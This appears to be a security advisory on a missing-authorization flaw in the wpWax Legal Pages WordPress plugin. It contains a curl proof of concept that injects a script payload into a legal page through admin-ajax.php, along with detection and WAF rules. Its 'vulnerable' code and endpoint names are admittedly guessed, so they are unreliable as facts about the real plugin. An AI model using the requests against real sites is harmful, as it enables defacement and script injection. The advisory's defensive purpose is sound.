CVE-2025-48242

Executive Summary

CVE-2025-48242 is a Missing Authorization vulnerability in the wpWax Legal Pages WordPress plugin, affecting versions up to and including 1.4.5. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized modification or disclosure of legal page content. The vulnerability is classified as Medium Severity (CVSS 6.5) and currently has no official patch from the vendor. Given the plugin’s role in managing legal documents (privacy policies, terms of service), exploitation could result in defacement, data integrity compromise, or regulatory compliance violations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or automated deployment tools (e.g., Composer, WP-CLI) are affected. Since no patch is available, the supply chain risk is elevated—any site running version ≤1.4.5 is exposed. Organizations should treat this as a critical supply chain weakness and consider removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is exploitable remotely without authentication, but the impact is limited to low confidentiality and integrity loss. However, in the context of legal pages, even low integrity impact can have severe legal and reputational consequences.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin’s AJAX handlers or REST API endpoints. The plugin likely registers actions (e.g., wp_ajax_* or wp_ajax_nopriv_*) that allow unauthenticated users to create, update, or delete legal page content. The core issue is that the plugin fails to verify the user’s capabilities (e.g., manage_options or edit_pages) before processing requests.

Attack Vector: An attacker sends crafted HTTP requests to the WordPress site, targeting the vulnerable endpoints. Since the plugin uses nopriv hooks, no authentication is required. The attacker can:

• Modify existing legal pages (e.g., privacy policy, terms of service).
• Create new legal pages with malicious content.
• Delete legal pages, causing service disruption.

Root Cause: The plugin’s code likely uses current_user_can() incorrectly or omits it entirely. For example:

add_action('wp_ajax_nopriv_legal_pages_save', 'legal_pages_save_handler');
function legal_pages_save_handler() {
    // Missing capability check
    update_option('legal_pages_content', $_POST['content']);
}

Vulnerable vs. Patched Code

Vulnerable Code (≤1.4.5):

// No capability check before processing
add_action('wp_ajax_nopriv_legal_pages_update', 'handle_update');
function handle_update() {
    $page_id = intval($_POST['page_id']);
    $content = wp_kses_post($_POST['content']);
    wp_update_post(array('ID' => $page_id, 'post_content' => $content));
    wp_die('Updated');
}

Patched Code (Hypothetical):

add_action('wp_ajax_legal_pages_update', 'handle_update');
add_action('wp_ajax_nopriv_legal_pages_update', 'handle_update_nopriv');
function handle_update() {
    if (!current_user_can('edit_pages')) {
        wp_die('Unauthorized', 403);
    }
    // ... rest of the logic
}
function handle_update_nopriv() {
    wp_die('Unauthorized', 403);
}

The patched version restricts the AJAX action to authenticated users with edit_pages capability and explicitly denies unauthenticated access.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, the following is a conceptual demonstration. Replace target.com with the victim’s domain.

Step 1: Identify Vulnerable Endpoint

curl -s "https://target.com/wp-admin/admin-ajax.php?action=legal_pages_get_all" | jq .

Step 2: Exploit to Modify Legal Page

curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=legal_pages_update&page_id=123&content=<script>alert('XSS')</script>"

Step 3: Verify Unauthorized Access

curl -s "https://target.com/privacy-policy/" | grep -i "alert"

Blue Team (Detection & Hardening)

1. Disable the plugin immediately if not critical.
2. Implement a virtual patch using a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=legal_pages_* from unauthenticated users.
3. Monitor logs for unusual AJAX requests:
   • Look for admin-ajax.php requests with action parameters containing legal_pages.
   • Check for rapid POST requests to legal page endpoints from unknown IPs.
4. Harden WordPress:
   • Ensure DISALLOW_FILE_EDIT is defined in wp-config.php.
   • Use a security plugin (e.g., Wordfence) to add extra layers of authentication.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_48242_Legal_Pages_Exploit {
    meta:
        description = "Detects exploitation attempts against CVE-2025-48242 in wpWax Legal Pages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48242"
    strings:
        $ajax_action = "legal_pages_" nocase
        $admin_ajax = "admin-ajax.php" nocase
        $post_method = "POST" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-48242 - Unauthenticated AJAX Access to Legal Pages
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to wp-admin/admin-ajax.php with legal_pages actions
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "admin-ajax.php"
            - "action=legal_pages_"
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-48242 - wpWax Legal Pages Unauthenticated AJAX Access";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-ajax.php";
    http.client_body; content:"action=legal_pages_";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the Legal Pages plugin until a patch is released.
2. Virtual Patching: Add the following rule to your WAF (e.g., ModSecurity):

   SecRule REQUEST_URI "/wp-admin/admin-ajax.php" "chain,id:1001,deny,msg:'CVE-2025-48242 Blocked'"
   SecRule ARGS:action "^legal_pages_" "t:lowercase"
   

3. Monitor: Enable detailed logging for admin-ajax.php and review for suspicious activity.
4. Update: Subscribe to wpWax’s changelog or use a vulnerability scanner to be notified when a patch is available.
5. Alternative: Replace the plugin with a manually maintained legal page (static HTML) or a more secure alternative.

Valters IT
Securing WordPress ecosystems through proactive threat intelligence.